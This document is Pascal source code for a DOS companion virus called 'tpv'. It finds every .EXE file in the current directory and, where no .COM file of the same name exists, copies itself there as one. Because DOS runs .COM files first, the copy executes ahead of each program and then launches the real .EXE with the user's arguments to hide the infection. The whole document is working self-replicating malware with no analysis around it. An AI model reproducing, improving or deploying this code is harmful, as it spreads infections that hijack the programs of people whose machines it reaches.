|  | 
		 
program tpv; uses dos;
 var
 tpv_paramstr: string;
 tpv_execname: string;
 tpv_found: integer;
 tpv_zname: string;
 tpv_source: string;
 tpv_target: string;
 tpv_first: string;
 procedure tpv_search;
 { uses Dos; }
 var
 S: PathStr;
 begin
 tpv_found:=0;
 S:= FSearch(tpv_zname,'.');
 if S='' then WriteLn(output,tpv_zname,' not found')
 else
 begin { Show full path }
 WriteLn('Found as ',FExpand(S),' (maybe infected)');
 tpv_found:=1;
 end; { else }
 end;
 procedure tpv_copy;
 { Simple copy program w/NO error checking }
 var
 FromF, ToF: file;
 NumRead, NumWritten: Word;
 buf: array[1..2048] of Char;
 begin
 writeln(output,'Copying from ',tpv_source,' to ',tpv_target); { Open input file }
 Assign(FromF, tpv_source); { Record size = 1 }
 Reset(FromF, 1); { Open output file }
 Assign(ToF, tpv_target); { Record size = 1 }
 Rewrite(ToF, 1);
 WriteLn('Copying ', FileSize(FromF), ' bytes...');
 repeat
 BlockRead(FromF,buf, SizeOf(buf),NumRead);
 BlockWrite(ToF,buf,NumRead,NumWritten);
 until (NumRead = 0) or (NumWritten <> NumRead);
 Close(FromF);
 Close(ToF);
 end;
 
 procedure tpv_infect(tpv_file: string);
 
 begin
 
 tpv_zname:=copy(tpv_file,1,length(tpv_file)-4)+'.COM';
 
 tpv_zname:=copy(tpv_file,1,length(tpv_file)-4)+'.COM';
 
 tpv_search;
 
 tpv_target:=tpv_zname;
 
 if tpv_found=0 then
 
 tpv_copy;
 
 end;
 
 procedure tpv_find;
 
 { uses Dos; }
 
 var
 
 DirInfo: SearchRec;
 
 begin
 
 FindFirst('*.EXE', Archive, DirInfo);
 
 while DosError = 0 do
 
 begin
 
 WriteLn(DirInfo.Name,' will be infected');
 
 tpv_infect(dirinfo.name);
 
 FindNext(DirInfo);
 
 end; { while }
 
 end;
 
 procedure get_paramstr;
 
 var i: Word;
 
 begin
 
 tpv_source:=paramstr(0);
 
 tpv_execname:=copy(tpv_source,1,length(tpv_source)-4)+'.EXE';
 
 tpv_paramstr:=' ';
 
 for i := 1 to ParamCount do
 
 begin
 
 { WriteLn(ParamStr(i)); }
 
 tpv_paramstr:=tpv_paramstr+paramstr(i)+' ';
 
 end; { for }
 
 end;
 
 procedure tpv_exec;
 
 {$M $4000,0,0 } { 16K stack, no heap }
 
 { uses Dos; }
 
 var
 
 ProgramName, CmdLine: string;
 
 begin
 
 programname:=tpv_execname;
 
 cmdline:=tpv_paramstr;
 
 Write('Program to Exec (full path): ');
 
 writeln(ProgramName);
 
 Write('Command line to pass to ',
 
 ProgramName, ': ');
 
 writeln(CmdLine);
 
 WriteLn('About to Exec...');
 
 writeln('----------------');
 
 SwapVectors;
 
 Exec(ProgramName, CmdLine);
 
 SwapVectors;
 
 writeln('-----------------');
 
 WriteLn('...back from Exec');
 
 if DosError <> 0 then { Error? }
 
 WriteLn('Dos error #', DosError)
 
 else
 
 WriteLn('Exec successful. ',
 
 'Child process exit code = ',
 
 DosExitCode);
 
 end;
 
 begin
 
 get_paramstr; { tpv_paramstr }
 
 tpv_find;
 
 tpv_first:=copy(tpv_source,length(tpv_source)-6,7);
 
 { writeln(output,tpv_first); }
 
 if tpv_first <> 'TPV.COM' then
 
 tpv_exec;
 
 end.
 |